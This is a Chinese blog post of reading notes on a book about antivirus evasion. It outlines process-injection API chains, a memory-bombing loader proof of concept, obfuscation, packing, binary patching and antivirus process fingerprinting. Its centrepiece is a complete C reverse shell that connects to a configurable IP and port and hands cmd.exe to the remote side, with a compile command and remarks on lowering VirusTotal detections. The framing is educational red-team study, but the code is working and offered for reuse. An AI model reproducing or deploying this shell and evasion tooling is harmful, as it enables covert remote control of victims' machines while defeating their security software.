前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >读书笔记《antivirus-bypass-techniques》

读书笔记《antivirus-bypass-techniques》

作者头像
鸿鹄实验室
发布于 2021-08-25 02:17:37
发布于 2021-08-25 02:17:37
90600
代码可运行
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室
运行总次数:0
代码可运行

本文是基本图书《Antivirus Bypass Techniques: Learn practical techniques and tactics to combat, bypass, and evade antivirus software》的读书笔记,也就是一本免杀书籍,国内好久没有免杀类的书了,不如来看看国外的,有兴趣的可以自行找一找,下载看一下,亚马逊上也有,地址如下:

https://www.amazon.com/Antivirus-Bypass-Techniques-practical-techniques/dp/1801079749

前几章是对于windows基础的讲解,进程、线程、注册表啥的,这里就不多说了。

我们直接从bypass av的地方开始看。

第一部分,绕过动态扫描

1、进程注入

引用作者的话:

进程注入是用于动态绕过反病毒引擎的最常见技术之一。

反病毒引擎的最常用技术之一。许多反病毒软件供应商和软件开发商依靠所谓的

进程注入或代码注入来检查系统上运行的进程。使用进程注入,我们可以将恶意代码注入到操作系统内合法的进程中,从而避免被动态反病毒引擎发现。

引擎的检测。

一般的进程注入步骤如下

1. 确定一个目标进程,在其中注入代码。

2. 接收目标进程的句柄以访问其进程地址空间。

3. 分配一个虚拟内存地址空间,代码将被注入并执行。如果需要的话,分配一个执行标志。

4. 在目标进程的分配的内存地址空间中执行代码注入。

5. 最后,执行注入的代码。

1.1 Classic DLL injection

作者使用的是最基础的DLL injection,进程调用链如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
OpenProcess---->VirtualAllocEx---->WriteProcessMemory---->CreateRemoteThread---->LoadLibrary/GetProcAddress

1.2 Process hollowing

进程镂空,进程调用链如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CreateProcess---->ZwUnmapViewOfSection/NtUnmapViewOfSection---->VirtualAllocEx---->WriteProcessMemory---->SetThreadContext and ResumeThread

1.3 Process doppelgänging

进程调用链如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CreateFileTransacted---->WriteFile---->NtCreateSection---->RollbackTransaction---->NtCreateProcessEx, RtlCreateProcessParametersEx,
VirtualAllocEx, WriteProcessMemory, NtCreateThreadEx,NtResumeThread

然后又附上了一些其他的注入方式

2、延时

有点反沙箱的意思,书里面介绍了Sleep()函数并不真正适用于反病毒,

我们必须使用其他函数--如GetTickCount、GetSystemTime、GetSystemTimeAsFileTime、QueryPerformanceCounter、timeGetTime......

3、Memory bombing

直译过来就是内存轰炸,利用分配大内存使得杀毒软件使用过多的资源在相对较大的内存上进行简单的扫描时迫使杀毒软件放弃检测我们的恶意文件(感觉怪怪的)然后分析了malloc()和calloc()的区别,并最后给出了一个POC

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
int main()
{
    char *memory_bombing = NULL;
    memory_bombing = (char *) calloc(200000000, sizeof(char));
    if(memory_bombing != NULL)
    {
        free(memory_bombing);
        payload();
    }
    return 0;
}

使用这类技术可以使得原生msf在vt上的爆毒减少10左右

第二部分,绕过静态扫描

1、混淆

1.1 Rename obfuscation

主要针对代码中的变量名。然后给出了一个py的在线混淆网站

https://pyob.oxyry.com/

对比

1.2 Control-flow obfuscation

控制流混淆将原始源代码转化为复杂的、不可读的和不明确的代码。例子:

1.3 绕过yara

就是绕过那个静态扫描的,可以不把恶意代码写入使用分离加载绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024


void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);    // Five Second

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;
   
        addr.sin_addr.s_addr = inet_addr(C2Server);  
        addr.sin_port = htons(C2Port);    

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char **argv) {
    FreeConsole();
    if (argc == 3) {
        int port  = atoi(argv[2]); 
        RunShell(argv[1], port);
    }
    else {
        char host[] = "192.168.0.101";  // change this to your ip address
        int port = 4444;                //chnage this to your open port
        RunShell(host, port);
    }
    return 0;
}

编译

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
i686-w64-mingw32-g++ socket.cpp -o before_obfuscation.exe
-lws2_32 -lwininet -s -ffunction-sections -fdata-sections
-Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

ps:以上都可以使用llvm来做

2、加密

2.1 Oligomorphic code

大体意思是每次运行选择不同的key解密自己

2.2 Polymorphic code

在此之上更加复杂,即key-->source形式

2.3 Metamorphic code

运行时改变恶意软件的内容,从而使自己发生变异。例如,这种变化可以使恶意软件增加完全无用的条件和变量,但对其功能没有影响,改变机器指令。

在不同的位置给自己添加无操作(NOP)指令,等等。

3、壳

这一部分没说什么太多的东西,文中使用的upx对国内不太友好,需要自己改upx。

第三部分,其他免杀技术

1、binary patching

利用patch技术,以nc为例,nc一开始是sub esp, 18

将18改成17

不影响文件运行,但在VT上面少了10个爆毒。

2、Timestomping

这个我感觉没什么用。就是改变文件创建时间

3、junk code

垃圾代码,跟上面的类似,一个开sockets的demo

4、技术总结

第四部分,红队操作中的免杀

一上来给了个wmi查杀软进程的脚本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import wmi
print("Antivirus Bypass Techniques by Nir Yehoshua and Uriel
Kosayev")
Proc = wmi.WMI()
AV_Check = ("MsMpEng.exe", "AdAwareService.exe", "afwServ.
exe", "avguard.exe", "AVGSvc.exe", "bdagent.
exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.
exe", "GDScan.exe", "avp.exe", "K7CrvSvc.exe", "McAPExe.
exe", "NortonSecurity.exe", "PavFnSvr.exe", "SavService.
exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.
exe")
for process in Proc.Win32_Process():
    if process.Name in AV_Check:
        print(f"{process.ProcessId} {process.Name}")
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pyinstaller --onefile "Antivirus Fingerprinting.py"

国内就好多了,在线的很多,也方便也全面。然后这一部分就结束了。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
动态加载 ShellCode绕过杀软
反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中,会发生什么?事实证明这样做可以绕过大多数杀软的查杀。
王 瑞
2022/12/28
1K0
动态加载 ShellCode绕过杀软
钓鱼文档碎碎念(一)
本文将简单介绍使用宏代码进行钓鱼的方法,并使其可以回连到CobaltStrike. CobaltStrike.自带有宏钓鱼功能。可以使用如下步骤进行创建:
鸿鹄实验室
2021/03/31
8970
钓鱼文档碎碎念(一)
在杀毒软件上横着走
我们将使用完全无法检测的CobaltStrike,来测试在卡巴斯基与火绒6上操作的表现,如进程注入、屏幕截图、文件操作、端口扫描等,并窃取桌面上的“绝密文件”和“账号密码”,以评估现代杀毒软件的防御能力,所有操作均在生产环境进行。
白帽子安全笔记
2024/12/27
2430
在杀毒软件上横着走
C语言socket实现文件下载[通俗易懂]
是网络编程的作业,我比较菜。。。写到定位输出,做百分比出现了问题,不显示0到100的,直接从0跳到了100。请教了下大佬。改了过来。原来是类型的问题,做出来的运算应该是float,但是我都定义的int,输出也是,大佬指出后,我好尴尬。。。犯了小错误。。。但是在这次过程也学习了一波。要加油了!!!代码写的这么乱!!! 写的是带颜色的版本,,颜色有可能会觉得妖艳,,,好吧。 编译平台是vc++6.0
全栈程序员站长
2022/09/15
1.5K0
C语言socket实现文件下载[通俗易懂]
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCodeShell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。
王 瑞
2023/09/01
3720
1.12 进程注入ShellCode套接字
议题解读:Operation Bypass Catch My Payload If You Can
本次简单解读的议题为:Operation Bypass Catch My Payload If You Can
鸿鹄实验室
2021/08/25
6950
PICUS RED TEAM部分题解
害,昨天发的题目留言区也没人聊聊思路,还是我来吧。事件原因这里只介绍部分题解,如有兴趣回头整理一份完整的wp发出来。
鸿鹄实验室
2021/04/01
4240
PICUS RED TEAM部分题解
DLL injection
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
鸿鹄实验室
2021/10/12
2.3K0
【Chat】实验 -- 实现 C/C++下TCP, 服务器/客户端 "多人聊天室"
本次实验利用TCP/IP, 语言环境为 C/C++ 利用套接字Socket编程,以及线程处理, 实现Server/CLient 之间多人的聊天系统的基本功能。 结果大致如: 下面贴上代码(参考参考..
书童小二
2018/09/03
1.7K0
【Chat】实验 -- 实现 C/C++下TCP, 服务器/客户端 "多人聊天室"
远程线程注入Dll,突破Session 0
其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可以通过注入lsass,就想试试注入lsass
HACK学习
2021/05/14
1.2K0
C/C++ 进程代码注入&提权&降权
如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中,并通过创建远程线程启动,还可以自己实现一个注入器,这里我们自己来实现一个提权器,可提权也可降权。
王 瑞
2022/12/28
1.1K0
C/C++ 进程代码注入&提权&降权
DLL注入
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
全栈程序员站长
2022/08/30
7240
DLL注入
新型远程注入手法-Threadless inject
无线程注入是在B-Sides Cymru 2023大会上发表的议题,是一种新型的远程注入手法,原理就是对hook的函数jump到dll的内存空隙的第一段shellcode(二次重定向功能)当中,然后再jump到第二段shellcode(真正的shellcode)执行。具体执行过程如图
Al1ex
2024/07/17
2290
新型远程注入手法-Threadless inject
Windows内网渗透常用命令总汇
net user 查看所有用户 net localgroup administrators 获取本地管理员信息
ConsT27
2022/02/11
1.9K0
Windows内网渗透常用命令总汇
Alternative Process Injection
2 .WriteProcessMemory -> 将解密/解码的shellcode写入内存空间
黑白天安全
2021/12/29
1K0
Alternative Process Injection
bypass disable function学习
信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。
HhhM
2022/08/10
2.3K0
bypass disable function学习
17.3 实现无管道反向CMD
WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。
王 瑞
2023/10/23
2400
17.3 实现无管道反向CMD
浅析syscall
最近在面试一些人的免杀问题时总会谈到syscall,但对于一些检测、细节、绕过检测反而没有说的很清楚,本文简单总结一些syscall的方式,来帮你唬过面试官。
鸿鹄实验室
2022/02/17
3.8K0
浅析syscall
C/C++ 实现常用的线程注入
各种API远程线程注入的方法,分别是 远程线程注入,普通消息钩子注入,全局消息钩子注入,APC应用层异步注入,ZwCreateThreadEx强力注入,纯汇编实现的线程注入等。
王 瑞
2022/12/28
7450
【Echo】实验 -- 实现 C/C++下TCP, 服务器/客户端 通讯
本次实验利用TCP/IP, 语言环境为 C/C++ 利用套接字Socket编程,实现Server/CLient 之间简单的通讯。 结果应为类似所示: 下面贴上代码(参考参考...) Server 部分
书童小二
2018/09/03
2.2K0
【Echo】实验 -- 实现 C/C++下TCP, 服务器/客户端 通讯
相关推荐
动态加载 ShellCode绕过杀软
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验